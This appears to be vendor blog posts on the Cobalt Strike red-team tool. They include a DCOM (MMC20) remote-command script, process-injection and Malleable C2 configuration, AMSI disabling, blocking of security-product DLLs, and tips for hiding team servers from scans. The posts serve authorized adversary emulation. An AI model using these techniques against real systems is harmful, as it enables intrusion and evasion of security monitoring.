    if ($3 ismatch '(.*?) (.*)') {
        ($command, $args) = matched();
    else {
        $command = $3;
        $args    = "";
    # build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
    $script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
    $script .= $2;
    $script .=  '")).Document.ActiveView.ExecuteShellCommand("';
    $script .= $command;
    $script .= '", $null, "';   
    $script .= $args;
    $script .= '", "7");';
    # run the script we built up
    bpowershell!($1, $script, "");
beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", &mmc20_exec_method);

runasadmin is the BYOW tool for privilege escalation. Type runasadmin, by itself, to see a list of command elevators registered with Cobalt Strike. Use runasadmin [module] [command+args] to execute the specified command in a privileged context. This gives you, the operator, choice on how to use the primitive. If you want to spawn a session by dropping an EXE to disk–you can do that. If you want to weaken the target in some way, that’s fair game too. Or, maybe, you want to use a PowerShell one-liner to spawn a session. You can still do that too. Right-click on your Beacon session, go to Access -> One-liner. This dialog will setup a [one time use only!] session-contained PowerShell one-liner (e.g., no remote connection is made) to execute a stageless payload via PowerShell when run.

remote-exec is the BYOW tool for lateral movement. Type remote-exec to see a list of remote execute modules registered with Cobalt Strike. Use remote-exec [module] [target] [command+args] to execute the specified command on a remote target. Similar to runasadmin, you have the choice on how to use these primitives. You can kick off an EXE, run a script artifact placed on target or a target-accessible share, or weaken the remote target in some way.

Bring Your Own Weaponization is not a replacement for elevate and jump. It is an alternative set of approaches to these commands.

Red Team Operations with Cobalt Strike

This release also brings an updated and revised course on the Cobalt Strike product. The Red Team Operations with Cobalt Strike course is 11 hours(!) of material to explain the strategies and process this product is designed to support. The course is very heavy on tradecraft and evasion theory. If those topics are your thing, I recommend you check it out.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.0. Licensed users will want to download the Cobalt Strike 4.0 distribution package and run the update program to get the latest. [Note: the 3.14 updater will continue to deliver the 3.14 version. If you want 4.0, download the distribution package!]

If this release piques your interest in Cobalt Strike, contact Strategic Cyber LLC for a quote. Now that this 4.0 release is out, I promise I’ll respond faster [starting tomorrow].

Cobalt Strike’s Process Injection: The Details

Cobalt Strike 3.14 finally delivered some of the process injection flexibility I’ve long wanted to see in the product. In this post, I’d like to write about my thoughts on process injection, and share a few details on how Cobalt Strike’s implementation(s) work. Along the way, I will share details about which methods you might want to use in your red team exercises.

Where does Cobalt Strike process inject?

Cobalt Strike does process injection in a few places. Some of its artifacts spawn and migrate to a new process. While these are an important part of the attack chain, they’re under your control via the Artifact Kit, Applet Kit, and Resource Kit. This post focuses on the process injection in Cobalt Strike’s Beacon payload.

The inject and shinject commands inject code into an arbitrary remote process. Some of the tool’s built-in post-exploitation jobs can target specific remote processes too. Cobalt Strike does this because it’s safer to inject a capability into a context that has the data you want vs. migrating a payload and C2 to that context.

Many of Cobalt Strike’s post-exploitation features spawn a temporary process, inject the feature’s DLL into the process, and retrieve the results over a named pipe. This is a special case of process injection. In these cases, we control the temporary process. We know the process has no purpose beyond our offense action. This allows us to do more aggressive things. For example, we can take over the main thread of these temporary processes and not worry about giving it back. This is an important detail to keep in mind when configuring process injection in Cobalt Strike.

The Process Injection Cycle

The process-inject block in a Malleable C2 profile is where you configure process injection in Cobalt Strike:

process-inject {
    # set remote memory allocation technique
    set allocator "NtMapViewOfSection";
    # shape the content and properties of what we will inject
    set min_alloc "16384";
    set userwx    "false";
    transform-x86 {
        prepend "\x90";
    transform-x64 {
        prepend "\x90";
    # specify how we execute code in the remote process
    execute {
        CreateThread "ntdll!RtlUserThreadStart";

This block is organized around the lifecycle of the process injection process. Here are the steps:

1. Open a handle to the remote process
2. Allocate memory in the remote process
3. Copy the injected data to the remote process
4. Ask the remote process to execute our injected code

Allocate and Copy Data to a Remote Process

Step 1 is kind of implicit. If we spawn a temporary process (e.g., for a post-exploitation job); we already have a handle to do things to the remote process. If we want to inject code into an existing remote process (naughty, naughty), Cobalt Strike will use OpenProcess to do this.

Steps 2 and 3:

Cobalt Strike offers two options to allocate memory in a remote process and copy data to it.

The first option is the classic VirtualAllocEx -> WriteProcessMemory pattern. This is a common pattern in offense tools. This option also works across different process architectures. This matters. Process injection is not limited to an x64 process context injecting into an x64 target process. A good implementation needs to account for the different corner cases that come up (e.g., x86 -> x64, x64 -> x86, etc.). This requirement makes VirtualAllocEx a safe choice. It’s also the default Cobalt Strike uses. If you want to explicitly specify this pattern: set the process-inject -> allocator option to VirtualAllocEx.

Cobalt Strike also has the CreateFileMapping -> MapViewOfFile -> NtMapViewOfSection pattern. This option creates a file mapping that is backed by the Windows system paging file. It then maps a view of that mapped file into the current process. Cobalt Strike then copies the injected data to the memory associated with that view. The NtMapViewOfSection call makes the same mapped file (with our local changes) available in the remote target process. This is available if you set process-inject -> allocator to NtMapViewOfSection. The downside to this option is it only works x86 -> x86 and x64 -> x64. For cross-architecture injection, Cobalt Strike will fall back to the VirtualAllocEx pattern. This pattern is useful in situations where a defense solution hones in on VirtualAllocEx -> WriteProcessMemory but does not detect other methods to copy data into a remote process.

Transform your Data

The above description of steps 2 and 3 assumes that you’re copying the injected data over as-is. That’s not necessarily true. Cobalt Strike’s process-inject block has options to transform the injected data. The min_alloc option is the minimum size of the block Beacon will allocate in a remote process. The startrwx and userwx options are a hint to the initial and final permissions of the allocated memory. If you want to avoid RWX pages, set these options to false. The transform-x86 and transform-x64 blocks allow you to pad either side of the injected data. If you prepend data, make sure it’s valid code to execute for that architecture.

The options to transform content in the process-inject block are very basic. They’re basic because these are options that are safe for all injected content. If I assume what I receive is a position-independent blob that is a self-contained program, I know I am OK to prepend and append data to it at will. If I assume that this position-independent blob does not modify itself, I know I can get away without RWX permissions. These things are as far as I’m willing to go with data I know nothing about. For more aggressive changes to injected content itself, use the Malleable C2 stage block to modify Beacon. Use the Malleable C2 post-ex block to modify Cobalt Strike’s actual post-exploitation DLLs.

Don’t dismiss these transforms because they are basic though. A lot of content signatures look for specific bytes at fixed offsets from the beginning of an observable boundary. These checks occur in O(1) time which is favorable to an O(n) [or worse] search. Too many expensive checks and a security technology can run into performance issues.

Binary padding can also affect the thread start address offset of your Cobalt Strike post-exploitation jobs. When Beacon injects a DLL into memory; it starts the thread at the location of that DLL’s exported ReflectiveLoader function. This offset shows up in the thread’s start address characteristic and is a potential indicator to hunt for a specific post-exploitation DLL. Data prepended to an injected DLL affects this offset. (Less visible threads help too; we’ll get to that in a moment…)

Part 3 of In-Memory Evasion has some more discussion on content, memory, and thread characteristics that are used to detect injected DLLs in memory.

Code Execution: So many damned corner cases…

At this point, we assume our injected content is in the remote process. The next step is execute that content. This is where the process-inject -> execute block comes in. Here, you get to specify which options Cobalt Strike will consider when it needs to inject code. Beacon goes through these options, one at a time, and tries the options that are valid to the current context. When one of these options succeeds, Beacon stops this process.

I mentioned it earlier, but I want to emphasize it again: process injection is filled with corner cases. The list of options you specify has to cover these corner cases. If your list of options misses a corner case, you will find that process injection fails for seemingly random reasons. My goal with this blog post is to help clear up some of these seemingly random reasons.

What are those corner cases?

All of the injection techniques implemented in Cobalt Strike work x86 -> x86 and x64 -> x64. Injecting from one architecture into the other is a trivial base case. But, x86 -> x64 and x64 -> x86 are contexts that matter too.

One context factor (favorable, if we treat it different) is whether or not the remote process is a throw-away temporary process. Remember, Beacon’s post-ex jobs spawn a temporary process and because the process is temporary—we can do more aggressive things.

Another favorable context factor is self injection. If we inject into our own process, we can and should treat that differently. We can simply use VirtualAlloc and CreateThread when injecting into ourself. When dealing with a security stack that aggressively swat remote process injection, self-injection is a way to safely use capabilities that can target a remote process.

One last corner case is whether or not the injected data has an argument. I can pass an argument via SetThreadContext with an x64 target (thanks fastcall!). Cobalt Strike’s implementation can’t pass an argument, via SetThreadContext, with an x86 target. Bummer.

We’re not done though. When dealing with remote process injection there are other factors. Some methods are riskier on Windows XP era systems. *gasp*. RtlCreateUserThread falls into this camp. And, other methods don’t work when you have to inject across desktop session boundaries (CreateRemoteThread, I’m looking at you).

Code Execution: The perfect execute block

Some of the execute options are scoped to the special cases described above. When you specify your execute block, put these special cases (self-injection, suspended processes) first. Beacon will ignore these options when they’re not right for the current injection context.

Next, you should follow up with which methods you want Beacon to use in-general. Remember, each method has different context limitations and failure cases. If you care that your process injection succeed, OPSEC be damned, make sure you have backups to the primary methods you specify. This is how Beacon’s process injection cocktail worked before 3.14 gave control to your profiles.

Let’s walk through the different execute options implemented in Beacon and their nuances:

Code Execution: CreateThread

I’ll start with CreateThread. I think CreateThread should come first in an execute block (if it’s there at all). This function will only run when you’re doing self-injection. You can use CreateThread which will spin up a thread pointing to the code you want Beacon to run. Be cautious though. When you self-inject this way, your thread will have a start address that’s not associated with one of the modules (DLLs, the current program itself) loaded into the current process space. This is a tell used to detect injected content. To help with this, you can specify CreateThread “module!somefunction+0x##”. This variant will spawn a suspended thread that points to the specified function. If the specified function is not available via GetProcAddress; this variant will immediately fail. Beacon will use SetThreadContext to update this new thread to run your injected code. This is a way of doing self-injection in a way that gives your thread a more favorable start address.

Code Execution: SetThreadContext

The next place to go is SetThreadContext. This is one of the methods available to take over the primary thread of a temporary process spawned for a post-exploitation job. Beacon’s SetThreadContext option works x86 -> x86, x64 -> x64, and x64 -> x86. If you choose to use SetThreadContext, put it after the CreateThread option(s) in your execute block. When you use SetThreadContext; your thread will have a start address that reflects the original execution entry point of the temporary process.

Code Execution: NtQueueApcThread-s

Another option for suspended processes is NtQueueApcThread-s. This option uses NtQueueApcThread to queue a one-off function that runs when the target thread wakes up next. In this case, the target thread is the primary thread of our temporary process. This methods next step is to call ResumeThread. This function wakes up the primary thread of our suspended process. Because the process is suspended, we don’t have to worry about giving this primary thread back to the process. Supposedly, executing code this way, allows our injected capability to initialize itself in the process before some userland-resident security products initialize themselves. This method of evasion was labeled the early bird injection technique by researchers from Cyberbit. This option is x86 -> x86 and x64 -> x64 only.

The use of SetThreadContext vs. NtQueueApcThread-s are up to you. I don’t think one is clearly better than the other in all contexts.

Code Execution: NtQueueApcThread

The next option to consider is NtQueueApcThread. This is a different implementation from NtQueueApcThread-s. It’s designed to target an existing remote process. This implementation pushes an RWX stub to the remote process. This stub contains both code and context related to the injection. To execute this stub, we add our stub to the APC queue of every thread in the remote process. If one of those threads enters an alertable state, our stub will execute.

What does the stub do?

The stub first checks if it was already run. If it was, it does nothing. This is to prevent our injected code from running multiple times.

The stub then calls CreateThread with our injected code and its argument. We do this to allow the APC to quickly return and let the original thread go on about its business.

There’s a risk that no thread will wake up and execute our stub. Beacon waits about 200ms and checks the stub to determine if the code ran. If it didn’t, we update the stub to mark the injection as having run, and we move on to the next injection technique. That’s the implementation of this technique.

I’ve had several requests for this option, because some security products have less visibility into this event. That said, this implementation has its OPSEC concerns. It does push that RWX stub which itself is a noisy memory indicator. It also calls CreateThread against our code that was pushed into this remote process. The start address of this thread is not backed by a module on disk. It won’t do well with a Get-InjectedThread sweep. If you find this injection method valuable, go ahead and use it. Just be aware that it has its trade-offs. One other note: this method (as I’ve implemented it) is x86 -> x86 and x64 -> x64 only.

Code Execution: CreateRemoteThread

Another option is CreateRemoteThread. This is the standard-issue remote process injection technique. As of Windows Vista, it does fail when injecting code across session boundaries. In Cobalt Strike, vanilla CreateRemoteThread covers x86 -> x86, x64 -> x64, and x64 -> x86 cases. This technique is also very visible. The Sysmon event 8 will fire when this method is used to create a thread in another process. Beacon does implement a CreateRemoteThread variant that accepts a fake start address in the form “module!function+0x##”. Like CreateThread, Beacon will create this thread in a suspended state and use SetThreadContext/ResumeThread to make it run our code. This variant is x86 -> x86 and x64 -> x64 only. This variant will fail if the specified function is not available via GetProcAddress.

Code Execution: RtlCreateUserThread

The last option available to Cobalt Strike’s execute block is RtlCreateUserThread. Be aware! This option is similar to CreateRemoteThread without some of its limitations. It does have its own drawbacks though.

RtlCreateUserThread will inject code across session boundaries. Supposedly it has some trouble in some injection contexts on Windows XP. This may or may not matter to you. This method DOES fire Sysmon event 8 as well. One benefit to RtlCreateUserThread is it covers x86 -> x86, x64 -> x64, x64 -> x86, AND x86 -> x64. This last corner case is important to address.

x86 -> x64 injection happens when you’re in an x86 Beacon context and you spawn an x64 process for a post-exploitation job. The hashdump, mimikatz, execute-assembly, and powerpick modules all default to an x64 context where they can. To pull off the feat of x86 -> x64 injection, this implementation transitions your x86 process to an x64 mode and injects an RWX stub to call RtlCreateUserThread from an x64 context. This implemention comes from Meterpreter and the RWX stub is a loud memory indicator. I’ve long advised: “stay x64 as much as possible”. This type of detail is the reason why. I do recommend RtlCreateUserThread exist in any process-inject -> execute block though. It makes sense to have this as the bottom-most option. Use it when nothing else works.

Life without (Remote) Process Injection

When I think about how to make an offense technique flexible, I also like to give similar consideration to what would I do if this technique were not an option?

Process injection is a way to move a payload/capability to a different process context (e.g., go from desktop session 0 to desktop session 1). It’s possible to move to a different process context without remote process injection. Use the runu command. This Beacon command will execute a program as a child of an arbitrary process you specify. This is a way to get a capability into another desktop session (for example) without remote process injection.

Process injection is also a way to execute capabilities on-target without putting a capability on disk. In Cobalt Strike; many post-exploitation capabilities have the option to target a specific process. To use these without remote process injection; specify your current Beacon process. This is self-injection.

Sometimes, putting something on disk is the best option available. I once had success compiling a keystroke logger as a DLL and dropping it to c:\windows\linkinfo.dll to (eventually) load it into explorer.exe. We used an open share on the same system to periodically grab our keystrokes. This helped my colleagues and I operate in a highly-scrutinized situation where it was difficult to keep a memory-resident payload alive on target.

If you enjoy these types of thought exercises; I recommend watching Agentless Post Exploitation and Fighting the Toolset.

Cobalt Strike 3.14 – Post-Ex Omakase Shimasu

Cobalt Strike 3.14 is now available. This release benefits the OPSEC of Beacon’s post-exploitation jobs. To take a screenshot, log keystrokes, dump credentials, or scan for targets: Beacon often spawns a temporary process, injects the capability into it, and receives results over a pipe. While Cobalt Strike has a lot of flexibility around launching temporary processes, it has had too few options for the actions that come next. This release changes that.

Malleable Process Injection, pt. 2

It makes sense to start this discussion with process injection. This is a key part of Beacon’s post-exploitation attack chain. The process injection code-path in Beacon is some of the oldest code in the payload and it was originally designed to “just work” in the myriad of corner cases this offense technique requires. These corner cases are not trivial. x86 -> x86, x86 -> x64, x64 -> x86, and x64 -> x64 in both suspended and not suspended processes are cases that a process-injection implementation needs to account for. The above becomes more complicated as some options fail across desktop session boundaries and others are riskier on older Windows XP-era systems. You can say “I don’t care about Windows XP”, and to some extent I don’t either, but Cobalt Strike’s Beacon circa 2012 had to cope with this.

Cobalt Strike 3.12 made some progress on process injection flexibility. This release picks up where 3.12 left off. Here’s what it looks like:

process-inject {
    # set remote memory allocation technique
    set allocator "NtMapViewOfSection";
    # shape the content and properties of what we will inject
    set min_alloc "16384";
    set userwx    "false";
    transform-x86 {
        prepend "\x90";
    transform-x64 {
        prepend "\x90";
    # specify how we execute code in the remote process
    execute {
        CreateThread "ntdll!RtlUserThreadStart";

Remote Memory Allocation

The process-inject -> allocator Malleable C2 option presents two paths to allocate memory within and copy data to a remote process.

The default VirtualAllocEx uses the venerable VirtualAllocEx -> WriteProcessMemory combination. The NtMapViewOfSection option has Beacon create a file mapping in the current process, copy the code to this local section, and map it into the remote process with NtMapViewOfSection. This option is limited to same-architecture target process (VirtualAllocEx is always the fallback).

Code Execution

3.14 also offers control over which techniques Beacon uses to execute code in a remote process and in which order it attempts them. This is done with the process-inject -> execute block. When executing code in a remote process: Beacon examines each option in the execute block, determines if the option is fair game for the current context, tries it if it’s relevant, and stops this process if code execution was successful.

Cobalt Strike’s options include:

  • CreateThread
  • CreateThread “module!Function+0x##”
  • CreateRemoteThread
  • CreateRemoteThread “module!Function+0x##”
  • NtQueueApcThread
  • NtQueueApcThread-s
  • RtlCreateUserThread
  • SetThreadContext

The CreateThread option is specific to self-injection.

The SetThreadContext and NtQueueApcThread-s options are specific to the temporary processes Beacon launches for its post-exploitation jobs. These functions take over the main thread of the suspended process and use it to execute the injected post-exploitation capability. The NtQueueApcThread-s option is Cobalt Strike’s implementation of the so-called Early Bird technique.

NtQueueApcThread, RtlCreateUserThread, and CreateRemoteThread are standard-issue options to inject code into a remote process. The RtlCreateUserThread option has an implementation variant for x86 -> x64 injection. CreateRemoteThread and RtlCreateUserThread both handle x64 -> x86 injection. All other options cover x86 -> x86 and x64 -> x64 injection.

CreateThread and CreateRemoteThread have variants that spawn a thread with the address fo another function, update the suspended thread to execute our code, and then resume the thread. This is useful to duck past techniques like Get-InjectedThread. Use [function] “module!function+0x##” to specify the start address to spoof. For remote processes, ntdll and kernel32 are the only recommended modules to pull from. The optional 0x## part is an offset added to the start address.

With the execute block, you may arrange these functions in an order of preference you’d like to use in your operations. It’s OK to omit or include options to tailor Beacon’s behavior to the adversary capability you’d like to emulate.

Revised Post-exploitation DLLs

Cobalt Strike 3.14 adds a post-ex block to Malleable C2. This block collects options to tweak the content and behavior of the post-exploitation jobs in Cobalt Strike.

post-ex {
    # control the temporary process we spawn to
    set spawnto_x86 "%windir%\\syswow64\\WerFault.exe";
    set spawnto_x64 "%windir%\\sysnative\\WerFault.exe";
    # change the permissions and content of our post-ex DLLs
    set obfuscate "true";
    # pass key function pointers from Beacon to its child jobs
    set smartinject "true";
    # disable AMSI in powerpick, execute-assembly, and psinject
    set amsi_disable "true";

Existing options such as spawnto_x86, spawnto_x64, and amsi_disable were moved to the post-ex block.

The obfuscate option scrambles the content of the post-ex DLLs and settles the post-ex capability into memory in a more OPSEC-safe way. It’s very similar to the obfuscate and userwx options available for Beacon via the stage block.

The smartinject option directs Beacon to embed key function pointers, like GetProcAddress and LoadLibrary, into its same-architecture post-ex DLLs. This allows post-ex DLLs to bootstrap themselves in a new process without shellcode-like behavior that is detected and mitigated by watching memory reads of the export address table in kernel32 and friends.

Blocking Vendor DLLs

Process injection does not exist in Windows solely to enable offense software. Some security products inject DLLs into user processes too. They do this to get deeper visibility into and veto power over the activities of the process. This is accomplished by hooking functions associated with common offense techniques.

Related: Google found that Chrome users were 15% more likely to experience a crash when injected code is present in the Chrome process space. Google decided to push back and block these DLLs from the Chrome process space. As an offense engineer, I thought it would benefit my processes if I could ALSO block these unwanted third-party DLLs from my processes. It turns out… this is possible.

Use blockdlls start and Cobalt Strike will launch child processes in a way that denies third-party DLLs access to the same process space. This is accomplished by running the process with a binary security policy attribute that restricts DLL loads to Microsoft-signed DLLs only. This is an option present in Windows 10 since late-2017.

Revised Process and File Browser Tabs

The 3.14 process browser now organizes the process information into a tree. Highlight a process in the tree and it will immediately highlight in the right-side detailed view of the processes. Your current process also shows in yellow. This is a lot easier than trying to follow a flat ps output and figure out which process is the parent of which process:

The 3.14 file browser is now (slightly) friendlier to Beacon’s asynchronous communication style. Each file browser now caches the folder/file listings it has seen. A tree on the left-hand side of the file browser shows which known folders are in the cache and which are not. Colored folders are in the cache. Grey folders are not. Click on an uncached folder in the tree and the file browser will ask Beacon to list that folder on its next check-in. In this way, you can revisit folders you’ve already seen, request multiple folders, and queue up multiple actions (e.g., download, execute, delete) in between Beacon checkins.

These changes should make post-exploitation a little more fun.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.14. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

Cobalt Strike Team Server Population Study

From February 4, 2019 to February 15, 2019 Strategic Cyber LLC connected to several live Cobalt Strike team servers to download Beacon payloads, analyze them, and study the information within these payloads.

We conducted the survey from a system that exists separate of this company’s logs and records. The survey results were available on the same system. We did not use our logs or records to seed this survey.

We granted access to our survey system and results to a few parties we trusted. We did this to seek feedback on the data, process, and ideas for appropriate use. We also invited these parties to submit team servers for analysis as well. Unfortunately, one of those parties posted many domains from this system’s results to Twitter without our approval or knowledge. Some of these domains included red team infrastructure used by customers. While anyone could conduct the same survey, it was our system’s results that were used.

One of the top priorities at Strategic Cyber LLC is to not disclose or impact the red team operations or penetration tests of our customers. We see this aggregate and unapproved disclosure of domains, from our survey system, as undermining that goal.

The rest of this post details the survey process, what it extracted, and how to make your team server less visible to these types of analysis.

Why did we do this survey?

We conducted this survey as part of our continuous efforts to evaluate and improve our product controls.

How was the survey done?

We used techniques well-known in the blue community to identify Cobalt Strike team servers. We then connected to those servers to request a Beacon payload stage and analyzed its configuration and PE characteristics. We did not circumvent any technological measures to perform the survey.

What information does this analysis yield?

A lot of configuration information (necessary for the Beacon payload to function) is embedded in the Beacon payload DLL. Our analysis extracted hosts, URIs, User-Agents, and other behavior related configuration information. Our analysis also sought to identify: trial vs. licensed, authorization ID, version, and whether or not the product was altered in certain ways.

How did you find these team servers?

Here are the common techniques to identify Cobalt Strike team servers on the internet:

1) The Cobalt Strike product ships with a default SSL certificate for HTTPS communication. This self-signed certificate has no place in a live operation, but it’s still used in many Cobalt Strike deployments. One technique to find Cobalt Strike Beacon controllers is to search for the SHA-256 hash of Cobalt Strike’s default certificates:

2) Cobalt Strike’s DNS server (when it’s enabled) will respond to any request it receives with the bogon IP A search for DNS servers that respond to an arbitrary DNS request with this answer will find Cobalt Strike systems. It will also find non-Cobalt Strike systems as well. It’s a noisy indicator.

3) Search for systems with port 50050 open. This is the controller for Cobalt Strike’s team server.

4) Another technique is to look for 404 Not Found root page with empty content and a text/plain Content-Type. This is the default response of Cobalt Strike without a redirector or content explicitly hosted at /.

How was the payload stage requested?

As part of its feature set and workflows, Cobalt Strike hosts the Beacon payload stage on its built-in web server. Cobalt Strike is compatible with the Metasploit Framework’s staging protocol. Any HTTP request that has the proper checksum8 value will yield a Beacon payload. Our system makes a request for a payload in the same way a Metasploit Framework stager would.

Protecting your team server

The process we used for our survey is nothing new or unknown. If you’d like to reduce the visibility of your team server to these mass analysis studies, here are a few tips:

1) Do not use the default HTTPS certificate within Cobalt Strike. If your goal is to emulate a low-tier actor with a self-signed certificate—use the https-certificate Malleable C2 block to generate a self-signed certificate that supports your exercise narrative. If you have a live operation, use a valid SSL certificate with your HTTPS Beacon.

2) The is a well-known indicator of the DNS beaconing feature in Cobalt Strike. Use the dns_idle Malleable C2 option to change this to something else.

3) Edit the last line of the teamserver script to change the port from 50050 to something else. This is a very minimal measure. A better solution is to limit who can connect to this port with a host-based firewall.

4) If Cobalt Strike is hosting a Beacon payload stage, it will send payload stages in response to a valid request. This remains true, even if you configure the http-stager block in Cobalt Strike. The http-stager block reconfigures staging indicators within Cobalt Strike. It does not disable the compatibility with the Metasploit Framework. If you do not want Cobalt Strike to host a payload stage, set the host_stage Malleable C2 option to false. This option will require some changes to how you operate.

5) Use an Apache or Nginx web server as a redirector for your Cobalt Strike team server. Limit 80/443 connections to your team server to these redirectors. A properly configured redirector will smooth out indicators specific to Cobalt Strike’s web server (e.g., the JA3S fingerprint for SSL connections). A redirector is also an opportunity to serve legitimate content in response to non-staging and non-command and control URIs. The Red Team Infrastructure Wiki has advice on this topic.